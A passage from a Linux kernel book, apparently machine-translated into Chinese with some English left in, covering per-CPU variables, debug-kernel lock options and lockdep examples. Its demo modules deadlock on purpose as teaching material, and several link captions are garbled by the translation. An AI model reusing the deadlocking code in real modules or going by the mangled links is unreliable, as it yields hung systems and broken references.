CPU `pcpa`整数(以及`pcp_ctx`数据结构),值与预期的*不同*,*没有显式锁定*。 - -The kernel module just demonstrated uses the `for_each_online_cpu(i)` macro to display the value of our per-CPU variables on each online CPU. Next, what if you have, say, six CPUs on your VM but want only two of them to be "live" at runtime? There are several ways to arrange this; one is to pass the `maxcpus=n` parameter to the VM's kernel at boot – you can see if it's there by looking up `/proc/cmdline`: -`$ cat /proc/cmdline` `BOOT_IMAGE=/boot/vmlinuz-5.4.0-llkd-dbg root=UUID=1c4<...> ro console=ttyS0,115200n8 console=tty0 quiet splash 3 **maxcpus=2**` Also notice that we're running on our custom `5.4.0-llkd-dbg` debug kernel. - -### 内核中的每 CPU 使用率 - -每 CPU 变量在 Linux 内核中被大量使用;一个有趣的案例是在 x86 体系结构上实现`current`宏(我们在配套指南 *Linux 内核编程-* *第 6 章*、*内核内部要素–进程和线程*中的*使用当前*访问任务结构一节中介绍了使用`current`宏)。事实是`current`经常被查(和设置);保持它作为一个每 CPU 确保我们保持它的访问锁自由!下面是实现它的代码: - -```sh -// arch/x86/include/asm/current.h -[ ... ] -DECLARE_PER_CPU(struct task_struct *, current_task); -static __always_inline struct task_struct *get_current(void) -{ - return this_cpu_read_stable(current_task); -} -#define current get_current() -``` - -`DECLARE_PER_CPU()`宏将名为`current_task`的变量声明为类型为`struct task_struct *`的每 CPU 变量。`get_current()`内联函数在这个每 CPU 变量上调用`this_cpu_read_stable()`助手,从而读取当前运行的 CPU 核上的`current`的值(阅读[https://酏. boot in . com/Linux/v 5.4/source/arch/x86/include/ASM/percpu . h # L383](https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/percpu.h#L383)处的注释,了解这个例程是关于什么的)。好吧,那很好,但是一个常见问题:这个每 CPU 的`current_task`变量在哪里更新?想想看:每当内核的上下文切换到另一个任务时,内核必须改变(更新)`current` *。* - -事实确实如此;确实在上下文切换码(`arch/x86/kernel/process_64.c:__switch_to()`)内更新;在[https://酏. bootin . com/Linux/v 5.4/source/arch/x86/kernel/process _ 64 . c # L504](https://elixir.bootlin.com/linux/v5.4/source/arch/x86/kernel/process_64.c#L504)): - -```sh -__visible __notrace_funcgraph struct task_struct * -__switch_to(struct task_struct *prev_p, struct task_struct *next_p) -{ - [ ... ] - this_cpu_write(current_task, next_p); - [ ... ] -} -``` - -接下来,通过`__alloc_percpu()`进行一个显示内核代码库中每 CPU 使用情况的快速实验:在内核源代码树的根中运行`cscope -d`(这假设您已经通过`make cscope`构建了`cscope`索引)。在`cscope`菜单中的`Find functions calling this function:`提示下,输入`__alloc_percpu`。结果如下: - -![](img/73938e5c-c45f-4c4b-a974-213b2c3d03a9.png) - -Figure 7.7 – (Partial) screenshot of the output of cscope -d showing kernel code that calls the __alloc_percpu() API - -当然,这只是内核代码库中每个 CPU 使用情况的部分列表,仅通过`__alloc_percpu()`底层应用编程接口跟踪使用情况。搜索调用`alloc_percpu[_gfp]()`(包装`__alloc_percpu[_gfp]()`)的函数揭示了更多的点击。 - -至此,我们已经完成了对内核同步技术和 API 的讨论,让我们通过了解一个关键领域来结束这一章:调试内核代码中的锁定问题时的工具和提示! - -# 锁定内核内的调试 - -内核有几种方法来帮助调试内核级锁定问题的困难情况,*死锁*是主要的一种。 - -Just in case you haven't already, do ensure you've first read the basics on synchronization, locking, and deadlock guidelines from the previous chapter ([Chapter 6](6.html), *Kernel Synchronization – Part 1*, especially the *Exclusive execution and atomicity* and *Concurrency concerns within the Linux kernel* sections). - -对于任何调试场景,都有不同的调试点,因此可能会使用不同的工具和技术。非常宽泛地说,一个 bug 可能会在几个不同的时间点(在**软件开发生命周期** ( **SDLC** )被注意到,从而被调试,真的: - -* 在开发过程中 -* 开发后但发布前(测试、**质量保证** ( **QA** )等等) -* 内部发布后 -* 释放后,在现场 - -一个众所周知且不幸的真理说教:一个 bug 从开发中暴露得越“远”,修复它的成本就越高!所以你真的想尽早找到并修复它们! - -由于这本书直接关注内核开发,我们将在这里关注一些在开发时调试锁定问题的工具和技术。 - -**Important**: We expect that by now, you're running on a debug kernel, that is, a kernel deliberately configured for development/debug purposes. Performance will take a hit, but that's okay – we're out bug hunting now! We covered the configuration of a typical debug kernel in the companion guide *Linux Kernel Programming* *-* Chapter 5, *Writing Your First Kernel Module – LKMs Part 2*, in the *Configuring a debug kernel* section, and have even provided a sample kernel configuration file for debugging here: [https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/ch5/kconfigs/sample_kconfig_llkd_dbg.config](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/ch5/kconfigs/sample_kconfig_llkd_dbg.config). Specifics on configuring the debug kernel for lock debugging are in fact covered next. - -## 为锁调试配置调试内核 - -由于其与锁定调试的相关性和重要性,我们将快速查看 *Linux 内核补丁提交清单*文档([https://www . Kernel . org/doc/html/v 5 . 4/process/submit-checkles . html](https://www.kernel.org/doc/html/v5.4/process/submit-checklist.html))中与我们在此讨论最相关的一个关键点,关于启用调试内核(尤其是锁定调试): - -```sh -// https://www.kernel.org/doc/html/v5.4/process/submit-checklist.html -[...] -12\. Has been tested with CONFIG_PREEMPT, CONFIG_DEBUG_PREEMPT, CONFIG_DEBUG_SLAB, CONFIG_DEBUG_PAGEALLOC, CONFIG_DEBUG_MUTEXES, CONFIG_DEBUG_SPINLOCK, CONFIG_DEBUG_ATOMIC_SLEEP, CONFIG_PROVE_RCU and CONFIG_DEBUG_OBJECTS_RCU_HEAD all simultaneously enabled. -13\. Has been build- and runtime tested with and without CONFIG_SMP and CONFIG_PREEMPT. - -16\. All codepaths have been exercised with all lockdep features enabled. -[ ... ] -``` - -Though not covered in this book, I cannot fail to mention a very powerful dynamic memory error detector called **Kernel Address SANitizer** (**KASAN**). In a nutshell, it uses compile-time instrumentation-based dynamic analysis to catch common memory-related bugs (it works with both GCC and Clang). **ASan** (**Address Sanitizer**), contributed by Google engineers, is used to monitor and detect memory issues in user space apps (covered in some detail and compared with valgrind in the *Hands-On System Programming for Linux* book). The kernel equivalent, KASAN, has been available since the 4.0 kernel for both x86_64 and AArch64 (ARM64, from 4.4 Linux). Details (on enabling and using it) can be found within the kernel documentation ([https://www.kernel.org/doc/html/v5.4/dev-tools/kasan.html#the-kernel-address-sanitizer-kasan](https://www.kernel.org/doc/html/v5.4/dev-tools/kasan.html#the-kernel-address-sanitizer-kasan)); I highly recommend you enable it in your debug kernel. - -正如配套指南 *Linux 内核编程-* 第 2 章*从源代码构建 5.x Linux 内核–第 1 部分*中所述,我们可以根据自己的需求专门配置我们的 Linux 内核。在这里(在 5.4.0 内核源代码树的根中),我们执行`make menuconfig`并导航到`Kernel hacking / Lock Debugging (spinlocks, mutexes, etc...)`菜单(参见在我们的 x86_64 Ubuntu 20.04 LTS 来宾 VM 上拍摄的*图 7.8* ): - -![](img/d401a93d-b5fc-4a84-ae7c-3990a73b3500.png) - -Figure 7.8 – (Truncated) screenshot of the kernel hacking / Lock Debugging (spinlocks, mutexes, etc...) menu with required items enabled for our debug kernel - -*图 7.8* 是 ` Lock Debugging (spinlocks, mutexes, etc...)`菜单的截屏,其中为我们的调试内核启用了必需的项目。 - -Instead of interactively having to go through each menu item and selecting the `` button to see what it's about, a much simpler way to gain the same help information is to peek inside the relevant Kconfig file (that describes the menu). Here, it's `lib/Kconfig.debug`, as all debug-related menus are there. For our particular case, search for the `menu "Lock Debugging (spinlocks, mutexes, etc...)"` string, where the `Lock Debugging` section begins (see the following table). - -下表总结了每个内核锁调试配置选项有助于调试的内容(我们没有显示所有选项,对于其中一些选项,我们直接引用了`lib/Kconfig.debug`文件): - -| **锁定调试菜单标题** | **它做什么** | -| 锁调试:证明锁定正确性(`CONFIG_PROVE_LOCKING`) | 这是`lockdep`内核选项——打开它可以随时获得锁正确性的滚动证明。锁定相关死锁*的任何可能性甚至在它实际发生之前就被报告了*;非常有用!(稍后将详细解释。) | -| 锁使用统计(`CONFIG_LOCK_STAT`) | 跟踪锁争用点(稍后将详细解释)。 | -| RT 互斥调试,死锁检测(`CONFIG_DEBUG_RT_MUTEXES`) | "*这允许自动检测和报告 rt 互斥语义违规和 rt 互斥相关死锁(锁定)*。" | -| 自旋锁和`rw-lock`调试:基本检查(`CONFIG_DEBUG_SPINLOCK`) | 打开此选项(与`CONFIG_SMP`一起)有助于捕捉丢失的自旋锁初始化和其他常见的自旋锁错误。 | -| 互斥调试:基本检查(`CONFIG_DEBUG_MUTEXES`) | "*该特性允许检测和报告互斥语义违规*。" | -| RW 信号量调试:基本检查(`CONFIG_DEBUG_RWSEMS`) | 允许检测和报告不匹配的读写信号量锁定和解锁。 | -| 锁调试:检测活动锁的不正确释放(`CONFIG_DEBUG_LOCK_ALLOC`) | ”*该功能将通过任何释放内存例程* ( `kfree(), kmem_cache_free(), free_pages(), vfree()` *等)检查内核是否错误地释放了任何持有的锁(自旋锁、rwlock、互斥锁或 rwsem)。),活动锁是否通过* `spin_lock_init()/mutex_init()` *等被错误地重新初始化。,或者在任务退出*期间是否有任何锁定。 | -| 在原子部分检查中休眠(`CONFIG_DEBUG_ATOMIC_SLEEP`) | "*如果你在这里说 Y,各种可能休眠的例程如果在原子部分内部调用就会变得非常嘈杂:当持有自旋锁时,在 rcu 读取侧临界部分内部,在抢占禁用部分内部,在中断内部,等等...*” | -| 锁定 API 启动时自检(`CONFIG_DEBUG_LOCKING_API_SELFTESTS`) | "*如果你想让内核在启动时运行一个简短的自测,在这里说 Y。自检检查调试机制是否检测到常见类型的锁定错误。(如果您禁用锁调试,那么这些 bug 当然不会被检测到。)涵盖了以下锁定 API:自旋锁、rwlocks、* -*互斥体和 rwsems* | -| 锁定的酷刑测试(`CONFIG_LOCK_TORTURE_TEST`) | ”*这个选项提供了一个内核模块,在内核锁定原语上运行折磨测试。如果需要,内核模块可以在要测试的运行内核上的事实之后构建。”(可以内置于“`Y`”中,也可以外部作为模块内置于“*`M`*”)*。" | - -Table 17.4 – Typical kernel lock debugging configuration options and their meaning - -如前所述,在开发和测试期间使用的调试内核中打开所有或大部分这些锁调试选项是一个好主意。当然,正如预期的那样,这样做可能会大大降低执行速度(并使用更多内存);就像在生活中一样,这是一个你必须决定的权衡:你以速度为代价获得对常见锁定问题、错误和死锁的检测。这是一个你应该非常愿意做出的权衡,尤其是在开发(或重构)代码的时候。 - -## 锁验证器 lock dep——及早捕捉锁定问题 - -Linux 内核有一个非常有用的特性,需要内核开发人员来利用:运行时锁定正确性或锁定依赖性验证器;简而言之,**锁定**。基本思想是这样的:`lockdep`运行时在内核中发生任何锁定活动时发挥作用——获取或释放*任何*内核级锁,或者任何涉及多个锁的锁定序列。 - -这是跟踪或映射的(有关性能影响及其缓解方式的更多信息,请参见下一段)。通过应用众所周知的正确锁定规则(您在上一章的*锁定指南和死锁*一节中得到这方面的提示),`lockdep`然后对所做工作的正确性的有效性做出结论。 - -其妙处在于`lockdep`实现了锁序列正确与否的 100%数学证明(或闭包)。以下是对该主题内核文档的直接引用(https://www . kernel . org/doc/html/V5 . 4/locking/lock dep-design . html): - -"*The validator achieves perfect, mathematical ‘closure’ (proof of locking correctness) in the sense that for every simple, standalone single-task locking sequence that occurred at least once during the lifetime of the kernel, the validator proves it with a 100% certainty that no combination and timing of these locking sequences can cause any class of lock related deadlock.*" - -此外,`lockdep`警告您(通过发布`WARN*()`宏)任何违反以下类别锁定错误的行为:死锁/锁反转场景、循环锁依赖和硬 IRQ/软 IRQ 安全/不安全锁定错误。这些信息是珍贵的;通过及早发现锁定问题,用`lockdep`验证您的代码可以节省数百个浪费的工作时间。(仅供参考,`lockdep`跟踪所有锁及其锁定顺序或“锁链”;这些可以通过`/proc/lockdep_chains`查看。 - -关于*性能缓解*的一句话:你很可能会想象,随着成千上万或更多的锁实例四处浮动,验证每一个锁序列的速度会慢得离谱(是的,事实上,这是一个有序的任务`O(N^2)`算法时间复杂度!).这是行不通的;因此,`lockdep`通过验证任何锁定场景来工作(比如,在某个代码路径上,取锁 A,然后取锁 B——这被称为一个*锁定序列*或*锁定链* ) **只有一次**,第一次发生。(它通过为遇到的每个锁链维护一个 64 位散列来了解这一点。) - -Primitive user space approaches: A very primitive – and certainly not guaranteed – way to try and detect deadlocks is via user space by simply using GNU `ps(1)`; doing `ps -LA -o state,pid,cmd | grep "^D"` prints any threads in the `D` – *uninterruptible sleep* (`TASK_UNINTERRUPTIBLE`) – state. This could – but may not – be due to a deadlock; if it persists for a long while, chances are higher that it is a deadlock. Give it a try! Of course, `lockdep` is a far superior solution. (Note that this only works with GNU `ps`, not the lightweight ones such as `busybox ps`.)Other useful user space tools are `strace(1)` and `ltrace(1)` – they provide a detailed trace of every system and library call, respectively, issued by a process (or thread); you might be able to catch a hung process/thread and see where it got stuck (using `strace -p PID` might be especially useful on a hung process). - -另一点你需要清楚的是:`lockdep` *将会*发出关于(数学上)不正确锁定的警告*,即使在运行时*实际上没有发生死锁!`lockdep`提供了证据,证明如果不采取纠正措施,确实存在可能在未来某个时候导致错误(死锁、不安全的锁定等)的问题;它通常是完全正确的;认真对待并解决问题。(话说回来,通常情况下,软件世界中没有什么是 100%正确的:如果一个 bug 潜入了`lockdep`代码本身呢?甚至还有`CONFIG_DEBUG_LOCKDEP`配置选项。底线是我们,人类开发者,必须仔细评估情况,检查假阳性。) - -接下来,`lockdep`作用于一个*锁类*;这只是一个“逻辑”锁,而不是该锁的“物理”实例。例如,内核的开放文件数据结构`struct file`有两个锁——一个互斥锁和一个自旋锁,每个锁都被`lockdep`视为一个锁类。即使运行时内存中存在几千个`struct file`实例,`lockdep`也只会将其作为一个类进行跟踪。关于`lockdep`的内部设计的更多细节,我们可以参考它的官方内核文档([https://www . kernel . org/doc/html/v 5 . 4/locking/lock dep-design . html](https://www.kernel.org/doc/html/v5.4/locking/lockdep-design.html))。 - -## 示例–使用 lockdep 捕获死锁错误 - -在这里,我们将假设您已经构建并运行了一个启用了`lockdep`的调试内核(如*为锁定调试配置调试内核*一节中所详细描述的)。验证它确实已启用: - -```sh -$ uname -r -5.4.0-llkd-dbg -$ grep PROVE_LOCKING /boot/config-5.4.0-llkd-dbg -CONFIG_PROVE_LOCKING=y -$ -``` - -好的,很好!现在,让我们动手处理一些死锁,看看`lockdep`将如何帮助您抓住它们。继续读! - -### 示例 1–使用 lockdep 捕获自死锁错误 - -作为第一个例子,让我们从配套指南 *Linux 内核编程-* *第 6 章*、*内核内部要素–进程和线程*回到我们的一个内核模块,在*迭代任务列表*部分,这里:[https://github . com/packt publishing/Linux-内核-编程/blob/master/ch6/foreach/thrd _ showall/thrd _ showall . c](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/ch6/foreach/thrd_showall/thrd_showall.c)。在这里,我们遍历每个线程,从它的任务结构中打印一些细节;关于这一点,这里有一个代码片段,我们在其中获得线程的名称(回想一下,它位于名为`comm`的任务结构的成员中): - -```sh -// ch6/foreach/thrd_showall/thrd_showall.c -static int showthrds(void) -{ - struct task_struct *g = NULL, *t = NULL; /* 'g' : process ptr; 't': thread ptr */ - [ ... ] - do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - if (!g->mm) { // kernel thread - snprintf(tmp, TMPMAX-1, " [%16s]", t->comm); - } else { - snprintf(tmp, TMPMAX-1, " %16s ", t->comm); - } - snprintf(buf, BUFMAX-1, "%s%s", buf, tmp); - [ ... ] -``` - -这是可行的,但是似乎有一种更好的方法:内核提供`{get,set}_task_comm()`助手例程来获取和设置任务的名称,而不是直接用`t->comm`查找线程的名称(就像我们在这里做的那样)。因此,我们重写代码以使用`get_task_comm()`助手宏;它的第一个参数是放置名称的缓冲区(预计您已经为它分配了内存),第二个参数是指向您正在查询其名称的线程的任务结构的指针(下面的代码片段来自这里:`ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c`): - -```sh -// ch13/3_lockdep/buggy_lockdep/thrd_showall_buggy.c -static int showthrds_buggy(void) -{ - struct task_struct *g, *t; /* 'g' : process ptr; 't': thread ptr */ - [ ... ] - char buf[BUFMAX], tmp[TMPMAX], tasknm[TASK_COMM_LEN]; - [ ... ] - do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - get_task_comm(tasknm, t); - if (!g->mm) // kernel thread - snprintf(tmp, sizeof(tasknm)+3, " [%16s]", tasknm); - else - snprintf(tmp, sizeof(tasknm)+3, " %16s ", tasknm); - [ ... ] -``` - -当在我们的测试系统(一个虚拟机,谢天谢地)上编译并插入内核时,它会变得奇怪,甚至只是简单地挂起!(当我这样做的时候,我能够在系统完全无响应之前通过`dmesg(1)`检索内核日志。). - -What if your system just hangs upon insertion of this LKM? Well, that's a taste of the difficulty of kernel debugging! One thing you can try (which worked for me when trying this very example on a x86_64 Fedora 29 VM) is to reboot the hung VM and look up the kernel log by leveraging systemd's powerful `journalctl(1)` utility with the `journalctl --since="1 hour ago"` command; you should be able to see the printks from `lockdep` now. Again, unfortunately, it's not guaranteed that the key portion of the kernel log is saved to disk (at the time it hung) for `journalctl` to be able to retrieve. This is why using the kernel's **kdump** feature – and then performing postmortem analysis of the kernel dump image file with `crash(8)` – can be a lifesaver (see resources on using `kdump` and crash in the *Further reading* section for this chapter). - -浏览内核日志,很明显:`lockdep`已经陷入了(自我)死锁(我们在截图中显示了输出的相关部分): - -![](img/adff4dda-3a9e-4c92-9c57-db9a988a0872.png) - -Figure 7.9 – (Partial) screenshot showing the kernel log after our buggy module is loaded; lockdep catches the self deadlock! - -尽管接下来有更多的细节(包括`insmod(8)`内核堆栈的堆栈回溯——因为它是进程上下文,在这种情况下是寄存器值,等等),我们在上图中看到的足以推断发生了什么。很明显,`lockdep`告诉我们`insmod/2367 is trying to acquire lock:`,其次是`but task is already holding lock:`。接下来(仔细看*图 7.9* ),T4 拿着的锁是`(p->alloc_lock)`(目前先不管后面的;我们稍后会解释),实际尝试获取它的例程(显示在`at:`之后)是`__get_task_comm+0x28/0x50`。现在,我们有所进展:让我们弄清楚当我们调用`get_task_comm()`时到底发生了什么;我们发现它是一个宏,一个实际工作者例程的包装器,`__get_task_comm()`。其代码如下: - -```sh -// fs/exec.c -char *__get_task_comm(char *buf, size_t buf_size, struct task_struct *tsk) -{ - task_lock(tsk); - strncpy(buf, tsk->comm, buf_size); - task_unlock(tsk); - return buf; -} -EXPORT_SYMBOL_GPL(__get_task_comm); -``` - -啊,问题来了:`__get_task_comm()`函数*试图重新获取我们已经持有的锁,导致(自身)死锁*!我们从哪里获得的?回想一下,我们(有问题的)内核模块中进入循环后的第一行代码就是我们调用`task_lock(t)`的地方,然后仅仅几行之后,我们调用`get_task_comm()`,它在内部试图重新获取完全相同的锁:结果是*自死锁*: - -```sh -do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - get_task_comm(tasknm, t); -``` - -此外,找到特定的锁很容易;查找`task_lock()`程序的代码: - -```sh -// include/linux/sched/task.h */ -static inline void task_lock(struct task_struct *p) -{ - spin_lock(&p->alloc_lock); -} -``` - -所以,现在一切都说得通了;它是名为`alloc_lock`的任务结构中的一个自旋锁,就像`lockdep`告诉我们的那样。 -`lockdep`的报告中有一些令人费解的注释。请遵循以下几行: - -```sh -[ 1021.449384] insmod/2367 is trying to acquire lock: -[ 1021.451361] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: __get_task_comm+0x28/0x50 -[ 1021.453676] - but task is already holding lock: -[ 1021.457365] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: showthrds_buggy+0x13e/0x6d1 [thrd_showall_buggy] -``` - -忽略时间戳,在前面的代码块中看到的第二行最左边一列中的数字是用于标识该特定锁序列的 64 位轻量级哈希值。请注意,它与下面一行中的哈希完全相同;所以,我们知道这是同一把锁!`{+.+.}`是 lockdep 表示获取锁的状态的符号(意思是:`+`表示启用 IRQs 时获取的锁,`.`表示禁用 IRQs 时获取的锁,不在 IRQ 上下文中,以此类推)。这些在内核文档([https://www . kernel . org/doc/Documentation/lock dep-design . txt](https://www.kernel.org/doc/Documentation/locking/lockdep-design.txt))中有说明;我们就到此为止吧。 - -A detailed presentation on interpreting `lockdep` output was given by Steve Rostedt at a Linux Plumber's Conference (back in 2011); the relevant slides are informative, exploring both simple and complex deadlock scenarios and how `lockdep` can detect them: -*Lockdep: How to read its cryptic output* ([https://blog.linuxplumbersconf.org/2011/ocw/sessions/153](https://blog.linuxplumbersconf.org/2011/ocw/sessions/153)). - -#### 修好它 - -既然我们理解了这里的问题,我们如何解决它?看到 lockdep 的报告(*图 7.9* )并进行解读,就很简单了:(如前所述)由于名为`alloc_lock`的任务结构 spinlock 已经在`do-while`循环开始时(通过`task_lock(t)`)被取用,所以确保在调用`get_task_comm()`例程之前(该例程在内部取用并释放同一个锁),先解锁,然后执行`get_task_comm()`,然后再次锁定。 - -下面的截图(*图 7.10* )显示了旧的 bug 版本(`ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c`)和我们的代码的新的固定版本(`ch13/3_lockdep/fixed_lockdep/thrd_showall_fixed.c`)之间的差异(通过`diff(1)`实用程序): - -![](img/a0ceead6-e333-44c6-81a6-cab46b8a29fe.png) - -Figure 7.10 – (Partial) screenshot showing the key part of the difference between the buggy and fixed versions of our demo thrdshow LKM - -太好了;接下来是另一个例子——捕捉 AB-BA 死锁! - -### 示例 2–使用 lockdep 捕获 AB-BA 死锁 - -再举一个例子,让我们来看看一个(演示)内核模块,它故意创建了一个**循环依赖**,这最终会导致死锁。代码在这里:`ch13/3_lockdep/deadlock_eg_AB-BA`。我们在之前的模块(`ch13/2_percpu`)的基础上开发了这个模块;大家还记得,我们创建了两个内核线程,并确保(通过使用黑客攻击的`sched_setaffinity()`)每个内核线程运行在唯一的 CPU 内核上(第一个内核线程在 CPU 内核`0`上,第二个在内核`1`)。 - -这样,我们就有了并发性。现在,在线程中,我们让它们使用两个自旋锁`lockA`和`lockB`。了解到我们有一个包含两个或更多锁的流程上下文,我们记录并遵循一个锁排序规则:*首先获取锁 a,然后获取锁 B* 。太好了;所以,应该这样做*而不是*的一个方法是: - -```sh -kthread 0 on CPU #0 kthread 1 on CPU #1 - Take lockA Take lockB - - (Try and) take lockA - < ... spins forever : - DEADLOCK ... > -(Try and) take lockB -< ... spins forever : - DEADLOCK ... > -``` - -这当然是经典的 AB-BA 僵局!因为程序(*内核线程 1* ,实际上)忽略了锁排序规则(当`lock_ooo`模块参数设置为`1`时),所以死锁。下面是相关的代码(我们没有在这里展示整个程序;请在[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)克隆本书的 GitHub 资源库,自己尝试一下: - -```sh -// ch13/3_lockdep/deadlock_eg_AB-BA/deadlock_eg_AB-BA.c -[ ... ] -/* Our kernel thread worker routine */ -static int thrd_work(void *arg) -{ - [ ... ] - if (thrd == 0) { /* our kthread #0 runs on CPU 0 */ - pr_info(" Thread #%ld: locking: we do:" - " lockA --> lockB\n", thrd); - for (i = 0; i < THRD0_ITERS; i ++) { - /* In this thread, perform the locking per the lock ordering 'rule'; - * first take lockA, then lockB */ - pr_info(" iteration #%d on cpu #%ld\n", i, thrd); - spin_lock(&lockA); - DELAY_LOOP('A', 3); - spin_lock(&lockB); - DELAY_LOOP('B', 2); - spin_unlock(&lockB); - spin_unlock(&lockA); - } -``` - -我们的内核线程`0`按照锁排序规则正确地做到了这一点;与我们的内核线程`1`相关的代码(续前一个代码)如下: - -```sh - [ ... ] - } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */ - for (i = 0; i < THRD1_ITERS; i ++) { - /* In this thread, if the parameter lock_ooo is 1, *violate* the - * lock ordering 'rule'; first (attempt to) take lockB, then lockA */ - pr_info(" iteration #%d on cpu #%ld\n", i, thrd); - if (lock_ooo == 1) { // violate the rule, naughty boy! - pr_info(" Thread #%ld: locking: we do: lockB --> lockA\n",thrd); - spin_lock(&lockB); - DELAY_LOOP('B', 2); - spin_lock(&lockA); - DELAY_LOOP('A', 3); - spin_unlock(&lockA); - spin_unlock(&lockB); - } else if (lock_ooo == 0) { // follow the rule, good boy! - pr_info(" Thread #%ld: locking: we do: lockA --> lockB\n",thrd); - spin_lock(&lockA); - DELAY_LOOP('B', 2); - spin_lock(&lockB); - DELAY_LOOP('A', 3); - spin_unlock(&lockB); - spin_unlock(&lockA); - } - [ ... ] -``` - -用设置为`0`(默认)的`lock_ooo`内核模块参数构建并运行它;我们发现,遵循锁排序规则,一切都很好: - -```sh -$ sudo insmod ./deadlock_eg_AB-BA.ko -$ dmesg -[10234.023746] deadlock_eg_AB-BA: inserted (param: lock_ooo=0) -[10234.026753] thrd_work():115: *** thread PID 6666 on cpu 0 now *** -[10234.028299] Thread #0: locking: we do: lockA --> lockB -[10234.029606] iteration #0 on cpu #0 -[10234.030765] A -[10234.030766] A -[10234.030847] thrd_work():115: *** thread PID 6667 on cpu 1 now *** -[10234.031861] A -[10234.031916] B -[10234.032850] iteration #0 on cpu #1 -[10234.032853] Thread #1: locking: we do: lockA --> lockB -[10234.038831] B -[10234.038836] Our kernel thread #0 exiting now... -[10234.038869] B -[10234.038870] B -[10234.042347] A -[10234.043363] A -[10234.044490] A -[10234.045551] Our kernel thread #1 exiting now... -$ -``` - -现在我们在`lock_ooo`内核模块参数设置为`1`的情况下运行,发现不出所料,系统锁死了!我们违反了锁排序规则,我们付出了系统死锁的代价!这一次,重启虚拟机并执行`journalctl --since="10 min ago"`让我得到了 lockdep 的报告: - -```sh -====================================================== -WARNING: possible circular locking dependency detected -5.4.0-llkd-dbg #2 Tainted: G OE ------------------------------------------------------- -thrd_0/0/6734 is trying to acquire lock: -ffffffffc0fb2518 (lockB){+.+.}, at: thrd_work.cold+0x188/0x24c [deadlock_eg_AB_BA] - -but task is already holding lock: -ffffffffc0fb2598 (lockA){+.+.}, at: thrd_work.cold+0x149/0x24c [deadlock_eg_AB_BA] - -which lock already depends on the new lock. -[ ... ] -other info that might help us debug this: - - Possible unsafe locking scenario: - - CPU0 CPU1 - ---- ---- - lock(lockA); - lock(lockB); - lock(lockA); - lock(lockB); - - *** DEADLOCK *** - -[ ... lots more output follows ... ] -``` - -`lockdep`报告相当惊人。检查句子`Possible unsafe locking scenario:`后面的行;它非常精确地显示了运行时实际发生的情况——在`CPU1 : lock(lockB); --> lock(lockA);`上的**无序** ( **ooo** )锁定序列!由于`lockA`已经被 CPU `0`上的内核线程占用,因此 CPU `1`上的内核线程会永远旋转——这是造成 AB-BA 死锁的根本原因。 - -此外,非常有趣的是,在模块插入后不久(将`lock_ooo`设置为`1`,内核也检测到了一个软锁定错误。printk 指向我们的控制台日志级别`KERN_EMERG`,允许我们看到这一点,即使系统似乎被挂起。它甚至显示了问题起源的相关内核线程(同样,这个输出在我运行定制 5.4.0 调试内核的 x86_64 Ubuntu 20.04 LTS 虚拟机上): - -```sh -Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ... -kernel:[10939.279524] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [thrd_0/0:6734] -Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ... -kernel:[10939.287525] watchdog: BUG: soft lockup - CPU#1 stuck for 23s! [thrd_1/1:6735] -``` - -(仅供参考,检测到这一点并喷出前面消息的代码在这里:`kernel/watchdog.c:watchdog_timer_fn()`)。 - -另一个注意事项:`/proc/lockdep_chains`输出还“证明”采取了(或存在)不正确的锁定顺序: - -```sh -$ sudo cat /proc/lockdep_chains -[ ... ] -irq_context: 0 -[000000005c6094ba] lockA -[000000009746aa1e] lockB -[ ... ] -irq_context: 0 -[000000009746aa1e] lockB -[000000005c6094ba] lockA -``` - -此外,请记住`lockdep`只报告一次——第一次——违反了任何内核锁的锁规则。 - -## lock dep–注释和问题 - -让我们用强大的`lockdep`基础设施的更多要点来结束这次报道。 - -### lockdep 注释 - -在用户空间,你会熟悉使用非常有用的`assert()`宏。在这里,您断言一个布尔表达式,一个条件(例如,`assert(p == 5);`)。如果断言在运行时为真,则不发生任何事情,执行继续;当断言为假时,该过程被中止,并且嘈杂的`printf()`到`stderr`指示哪个断言以及它在哪里失败。这允许开发人员检查他们期望的运行时条件。因此,断言可能非常有价值——它们有助于捕捉 bug! - -以类似的方式,`lockdep`允许内核开发人员通过`lockdep_assert_held()`宏断言在特定点持有锁。这叫做**锁定点注释**。此处显示宏定义: - -```sh -// include/linux/lockdep.h -#define lockdep_assert_held(l) do { \ - WARN_ON(debug_locks && !lockdep_is_held(l)); \ - } while (0) -``` - -断言失败会导致警告(通过`WARN_ON()`)。这是非常有价值的,因为它暗示了虽然锁`l`现在应该被持有,但它真的没有。还要注意,这些断言只有在启用锁调试时才会起作用(这是内核中启用锁调试时的默认值;只有当`lockdep`或其他内核锁定基础设施中出现错误时,它才会被关闭。内核代码库实际上到处都在使用`lockdep`注释,无论是在内核中还是在驱动程序代码中。(表单`lockdep_assert_held*()`的`lockdep`声明以及很少使用的`lockdep_*pin_lock()`宏有一些变化。) - -### lockdep 问题 - -使用`lockdep`时可能会出现一些问题: - -* 重复的模块加载和卸载会导致超过`lockdep`的内部锁类限制(原因,正如内核文档中所解释的,是加载一个`x.ko`内核模块会为其所有锁创建一组新的锁类,而卸载`x.ko`不会移除它们;它实际上被重复使用)。实际上,要么不要重复加载/卸载模块,要么重置系统。 -* 尤其是在数据结构有大量锁的情况下(如结构数组),不能正确初始化每个锁会导致锁类溢出。 - -每当锁定调试被禁用时`debug_locks`整数被设置为`0`(即使在调试内核上);这会导致显示以下消息:`*WARNING* lock debugging disabled!! - possibly due to a lockdep warning`。由于`lockdep`提前发出警告,这种情况甚至可能发生。重新启动系统,然后重试。 - -Though this book is based on the 5.4 LTS kernel, a powerful feature was (very recently as of the time of 